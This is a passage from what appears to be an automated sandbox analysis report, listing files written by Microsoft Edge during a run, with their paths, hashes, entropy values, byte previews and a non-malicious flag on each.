SHA-512:	7575EBDA6D8723520983096E731E601732AC32AF46D6622AB222848C0DD311D608C016595DEEC88C13286CCF9C3125441D9DF4E4331A965DE7C7C0DE5412CE49
Malicious:	false
Reputation:	unknown
Preview:	..-.....z.................K..[Z$J...V.....w^.U...-.....z.................K..[Z$J...V.....w^.U.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	2142432
Entropy (8bit):	3.889820280403534
Encrypted:	false
SSDEEP:	12288:33wzX7/wWZCiIXLdaC+el2R59u7Cb8o2FsGtrbEm9nRolc7ZTAxyBaj46W:V
MD5:	57DDF08EAF6B40F0DD04DCDD2750E7B6
SHA1:	034BC07ED1FF9A4F334E49CB9C7D9B64E3F6510C
SHA-256:	4262F16D44B60F38F8E379FA2AC6AF22F0526AFF744CD887A0632BF2CA155E1A
SHA-512:	C5E3F633554241CD025DD41A5233B6A2AC4C64F72E19120C3F84BA026EA0E961D80F1EFD0108F060B2AF1A60649F38BB8BD23CC25BFE6639D4894EEA61248573
Malicious:	false
Reputation:	unknown
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	554
Entropy (8bit):	2.927488883401678
Encrypted:	false
SSDEEP:	6:/XntM+Bcil3sedhO7yOuuuuuuuuuuuuuuuuuuuuuu:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuu
MD5:	576E928A58B29421D5CDC9D1D2D40DD5
SHA1:	AA4668F1E3AC8E70BD1DEDBEB8F664194791769D
SHA-256:	991318A24B1CC5AE91B0FCE3378C9583C061AF30A07D8C4E5CA54985F73900B6
SHA-512:	89F9E87915FD8BF3C0DB5E37F977DA059638AAC69AC0E75569BA85023249D9F9560EE892974AD62B3A95AD8998CD94CF103C0B3894B9CD789F8EC454D394BC13
Malicious:	false
Reputation:	unknown
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.157162257585679
Encrypted:	false
SSDEEP:	6:H++q2PN723oH+TcwtfrK+IFUt8+7Zmw++rRVkwON723oH+TcwtfrUeLJ:HvvVaYeb23FUt8+7/++D5OaYeb3J
MD5:	1C7E904975BC4288D983574CBBADAAB2
SHA1:	E64961BD5575C34DBDF82ED1FC301BF44D4A3C70
SHA-256:	B1B6BEF20C8561959113979674A0CAEFA0B0FFBADFEF70BEF367B15AF424FA6E
SHA-512:	FFF58A521BF6373056B0C19C49E4FF40D2A50A34EDB0F848316EC6A1E30588B21BB89E044E1E2C972ED7AEE6B4C914442458A8E036D3D37B013CC6E3D2D33C84
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:38.341 22f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/01/18-00:34:38.342 22f8 Recovering log #3.2024/01/18-00:34:38.344 22f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.157162257585679
Encrypted:	false
SSDEEP:	6:H++q2PN723oH+TcwtfrK+IFUt8+7Zmw++rRVkwON723oH+TcwtfrUeLJ:HvvVaYeb23FUt8+7/++D5OaYeb3J
MD5:	1C7E904975BC4288D983574CBBADAAB2
SHA1:	E64961BD5575C34DBDF82ED1FC301BF44D4A3C70
SHA-256:	B1B6BEF20C8561959113979674A0CAEFA0B0FFBADFEF70BEF367B15AF424FA6E
SHA-512:	FFF58A521BF6373056B0C19C49E4FF40D2A50A34EDB0F848316EC6A1E30588B21BB89E044E1E2C972ED7AEE6B4C914442458A8E036D3D37B013CC6E3D2D33C84
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:38.341 22f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/01/18-00:34:38.342 22f8 Recovering log #3.2024/01/18-00:34:38.344 22f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Reputation:	unknown
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.165493699154971
Encrypted:	false
SSDEEP:	6:H++q2PN723oH+TcwtfrzAdIFUt8+NjXZmw++Nj3VkwON723oH+TcwtfrzILJ:HvvVaYeb9FUt8+ND/++NZ5OaYeb2J
MD5:	916B85BBC47EB51695FAE42C20715F05
SHA1:	0D62A52ED3C1DEE4355D95E38AB08CB7BBEE0D07
SHA-256:	BE58EE5D711941EB79FEC9A783747F3F91607281B8E32E1E84C0A253E1F42FA1
SHA-512:	D21D7651EE2B1F95493C8F1D9B04F8A7A17D13669B58E4C4388393330DB6851E4D6AB28B577A233BD6ED5AAF3E66C02B4402FDEF0C4CB09EE032D40BDFD38288
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:38.334 22f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/01/18-00:34:38.335 22f8 Recovering log #3.2024/01/18-00:34:38.335 22f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.165493699154971
Encrypted:	false
SSDEEP:	6:H++q2PN723oH+TcwtfrzAdIFUt8+NjXZmw++Nj3VkwON723oH+TcwtfrzILJ:HvvVaYeb9FUt8+ND/++NZ5OaYeb2J
MD5:	916B85BBC47EB51695FAE42C20715F05
SHA1:	0D62A52ED3C1DEE4355D95E38AB08CB7BBEE0D07
SHA-256:	BE58EE5D711941EB79FEC9A783747F3F91607281B8E32E1E84C0A253E1F42FA1
SHA-512:	D21D7651EE2B1F95493C8F1D9B04F8A7A17D13669B58E4C4388393330DB6851E4D6AB28B577A233BD6ED5AAF3E66C02B4402FDEF0C4CB09EE032D40BDFD38288
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:38.334 22f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/01/18-00:34:38.335 22f8 Recovering log #3.2024/01/18-00:34:38.335 22f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Reputation:	unknown
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Reputation:	unknown
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089754557225182
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWydi1zNtPMykzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynSxkzItSmd6qE7lFoC
MD5:	631ED73E72238AACF10194C012CF0B14
SHA1:	B940994F20AAEB0AA7E409318943DF41487B23B1
SHA-256:	FBC312E665E3E7091111C94ED15244DA4A0D19A351D0751FF7FCF1248E44E526
SHA-512:	637B599B035AACDB1D8EF29735099A70B6821C6AFF1F2BF12F6022ACCEBF2712198D5DC4F8C0C2EFC98600C09DCB30A142101FD428218AB4058DD0E0956FA7C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF393a6.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089754557225182
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWydi1zNtPMykzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynSxkzItSmd6qE7lFoC
MD5:	631ED73E72238AACF10194C012CF0B14
SHA1:	B940994F20AAEB0AA7E409318943DF41487B23B1
SHA-256:	FBC312E665E3E7091111C94ED15244DA4A0D19A351D0751FF7FCF1248E44E526
SHA-512:	637B599B035AACDB1D8EF29735099A70B6821C6AFF1F2BF12F6022ACCEBF2712198D5DC4F8C0C2EFC98600C09DCB30A142101FD428218AB4058DD0E0956FA7C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39413.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089754557225182
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWydi1zNtPMykzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynSxkzItSmd6qE7lFoC
MD5:	631ED73E72238AACF10194C012CF0B14
SHA1:	B940994F20AAEB0AA7E409318943DF41487B23B1
SHA-256:	FBC312E665E3E7091111C94ED15244DA4A0D19A351D0751FF7FCF1248E44E526
SHA-512:	637B599B035AACDB1D8EF29735099A70B6821C6AFF1F2BF12F6022ACCEBF2712198D5DC4F8C0C2EFC98600C09DCB30A142101FD428218AB4058DD0E0956FA7C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39490.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089754557225182
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWydi1zNtPMykzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynSxkzItSmd6qE7lFoC
MD5:	631ED73E72238AACF10194C012CF0B14
SHA1:	B940994F20AAEB0AA7E409318943DF41487B23B1
SHA-256:	FBC312E665E3E7091111C94ED15244DA4A0D19A351D0751FF7FCF1248E44E526
SHA-512:	637B599B035AACDB1D8EF29735099A70B6821C6AFF1F2BF12F6022ACCEBF2712198D5DC4F8C0C2EFC98600C09DCB30A142101FD428218AB4058DD0E0956FA7C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3951d.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089754557225182
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWydi1zNtPMykzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynSxkzItSmd6qE7lFoC
MD5:	631ED73E72238AACF10194C012CF0B14
SHA1:	B940994F20AAEB0AA7E409318943DF41487B23B1
SHA-256:	FBC312E665E3E7091111C94ED15244DA4A0D19A351D0751FF7FCF1248E44E526
SHA-512:	637B599B035AACDB1D8EF29735099A70B6821C6AFF1F2BF12F6022ACCEBF2712198D5DC4F8C0C2EFC98600C09DCB30A142101FD428218AB4058DD0E0956FA7C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3956b.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089754557225182
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWydi1zNtPMykzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynSxkzItSmd6qE7lFoC
MD5:	631ED73E72238AACF10194C012CF0B14
SHA1:	B940994F20AAEB0AA7E409318943DF41487B23B1
SHA-256:	FBC312E665E3E7091111C94ED15244DA4A0D19A351D0751FF7FCF1248E44E526
SHA-512:	637B599B035AACDB1D8EF29735099A70B6821C6AFF1F2BF12F6022ACCEBF2712198D5DC4F8C0C2EFC98600C09DCB30A142101FD428218AB4058DD0E0956FA7C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3957b.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089754557225182
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWydi1zNtPMykzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynSxkzItSmd6qE7lFoC
MD5:	631ED73E72238AACF10194C012CF0B14
SHA1:	B940994F20AAEB0AA7E409318943DF41487B23B1
SHA-256:	FBC312E665E3E7091111C94ED15244DA4A0D19A351D0751FF7FCF1248E44E526
SHA-512:	637B599B035AACDB1D8EF29735099A70B6821C6AFF1F2BF12F6022ACCEBF2712198D5DC4F8C0C2EFC98600C09DCB30A142101FD428218AB4058DD0E0956FA7C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39730.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089754557225182
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWydi1zNtPMykzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynSxkzItSmd6qE7lFoC
MD5:	631ED73E72238AACF10194C012CF0B14
SHA1:	B940994F20AAEB0AA7E409318943DF41487B23B1
SHA-256:	FBC312E665E3E7091111C94ED15244DA4A0D19A351D0751FF7FCF1248E44E526
SHA-512:	637B599B035AACDB1D8EF29735099A70B6821C6AFF1F2BF12F6022ACCEBF2712198D5DC4F8C0C2EFC98600C09DCB30A142101FD428218AB4058DD0E0956FA7C9
Malicious:	false
